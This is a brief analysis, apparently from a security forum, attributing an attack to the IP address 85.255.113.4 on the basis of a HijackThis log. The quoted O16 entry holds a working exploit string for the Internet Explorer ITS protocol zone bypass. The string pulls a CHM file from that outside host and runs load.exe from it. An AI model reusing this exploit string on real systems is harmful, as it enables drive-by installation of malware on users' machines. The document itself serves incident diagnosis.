85.255.113.4 seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11111111-1111-1111-1111-111111111157} - ms-its:mhtml:file://C:\nosuch.mht!http://85.255.113.4/dl/adv577/x.chm::/load.exe
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